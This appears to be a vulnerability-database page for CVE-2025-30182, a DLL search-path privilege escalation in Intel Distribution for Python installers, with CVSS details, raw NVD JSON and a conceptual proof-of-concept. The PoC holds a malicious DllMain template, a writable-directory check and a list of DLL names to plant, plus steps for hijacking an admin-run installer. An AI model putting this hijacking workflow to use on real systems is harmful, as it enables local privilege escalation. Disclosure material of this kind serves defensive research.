Security Vulnerability Report
中文
CVE-2025-30182 CVSS 6.7 MEDIUM

CVE-2025-30182

Published: 2025-11-11 17:15:46
Last Modified: 2026-04-15 00:35:42

Description

Uncontrolled search path for some Intel(R) Distribution for Python software installers before version 2025.2.0 within Ring 3: User Applications may allow an escalation of privilege. Unprivileged software adversary with an authenticated user combined with a high complexity attack may enable escalation of privilege. This result may potentially occur via local access when attack requirements are present without special internal knowledge and requires active user interaction. The potential vulnerability may impact the confidentiality (high), integrity (high) and availability (high) of the vulnerable system, resulting in subsequent system confidentiality (none), integrity (none) and availability (none) impacts.

CVSS Details

CVSS Score
6.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Intel(R) Distribution for Python < 2025.2.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-30182 PoC - Intel Distribution for Python DLL Search Path Hijacking Note: This is a conceptual PoC for educational and security research purposes only. """ import os import sys import ctypes from ctypes import wintypes # Windows DLL loading constants LOAD_LIBRARY_SEARCH_DLL_LOAD_DIR = 0x00000100 LOAD_LIBRARY_SEARCH_DEFAULT_DIRS = 0x00001000 def create_malicious_dll_payload(): """ Generate malicious DLL code that creates a reverse shell or executes privileged commands """ dll_template = ''' #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {{ if (fdwReason == DLL_PROCESS_ATTACH) {{ // Payload execution - write to log or execute commands HANDLE hFile = CreateFileA( "C:\\\\Temp\\\\cve_2025_30182_exploit.log", GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL ); if (hFile != INVALID_HANDLE_VALUE) {{ const char* msg = "CVE-2025-30182 exploited - DLL hijacking successful\\n"; DWORD bytesWritten; WriteFile(hFile, msg, strlen(msg), &bytesWritten, NULL); CloseHandle(hFile); }} // Execute malicious actions with elevated privileges system("cmd.exe /c whoami > C:\\\\Temp\\\\priv_esc_result.txt"); }} return TRUE; }} ''' return dll_template def check_vulnerability(): """ Check if Intel Distribution for Python installation path is vulnerable """ vulnerable_paths = [ os.path.join(os.environ.get('PROGRAMFILES', ''), 'Intel\Distribution for Python'), os.path.join(os.environ.get('PROGRAMFILES(X86)', ''), 'Intel\Distribution for Python'), 'C:\\Program Files\\Intel\\Distribution for Python', 'C:\\Program Files (x86)\\Intel\\Distribution for Python' ] print("[*] Checking for vulnerable Intel Distribution for Python installation...") for path in vulnerable_paths: if os.path.exists(path): print(f"[+] Found Intel Distribution for Python at: {path}") # Check if installation directory is writable if os.access(path, os.W_OK): print(f"[!] VULNERABLE: Directory is writable - {path}") return True, path else: print(f"[*] Directory not writable - {path}") return False, None def place_malicious_dll(target_dir, dll_name): """ Simulate placing a malicious DLL in the target directory In real attack, this would be the actual malicious DLL file """ dll_path = os.path.join(target_dir, dll_name) print(f"[*] Simulating malicious DLL placement at: {dll_path}") print("[!] In a real attack, this would be an actual compiled malicious DLL") # Log the simulated action log_file = os.path.join(os.environ.get('TEMP', '/tmp'), 'poc_simulation.log') with open(log_file, 'a') as f: f.write(f"CVE-2025-30182 PoC: DLL would be placed at {dll_path}\n") return True def main(): print("=" * 70) print("CVE-2025-30182 PoC - Intel Distribution for Python DLL Hijacking") print("=" * 70) print() # Check for vulnerability is_vulnerable, target_path = check_vulnerability() if is_vulnerable: print("\n[!] System appears to be vulnerable to CVE-2025-30182") print("\n[*] Attack simulation:") # Common DLL names that might be loaded by the installer common_dlls = ['Intel_MKL.dll', 'mkl_core.dll', 'mkl_intel_thread.dll'] for dll in common_dlls: place_malicious_dll(target_path, dll) print("\n[*] To complete the attack:") print(" 1. Wait for a user with admin privileges to run the installer") print(" 2. The malicious DLL will be loaded with elevated privileges") print(" 3. Attacker code executes with SYSTEM/admin privileges") else: print("\n[*] Intel Distribution for Python not found or not vulnerable") print("\n[*] Remediation: Upgrade to Intel Distribution for Python 2025.2.0 or later") print("=" * 70) if __name__ == '__main__': main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-30182", "sourceIdentifier": "[email protected]", "published": "2025-11-11T17:15:46.400", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Uncontrolled search path for some Intel(R) Distribution for Python software installers before version 2025.2.0 within Ring 3: User Applications may allow an escalation of privilege. Unprivileged software adversary with an authenticated user combined with a high complexity attack may enable escalation of privilege. This result may potentially occur via local access when attack requirements are present without special internal knowledge and requires active user interaction. The potential vulnerability may impact the confidentiality (high), integrity (high) and availability (high) of the vulnerable system, resulting in subsequent system confidentiality (none), integrity (none) and availability (none) impacts."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-427"}]}], "references": [{"url": "https://intel.com/content/www/us/en/security-center/advisory/intel-sa-01382.html", "source": "[email protected]"}]}}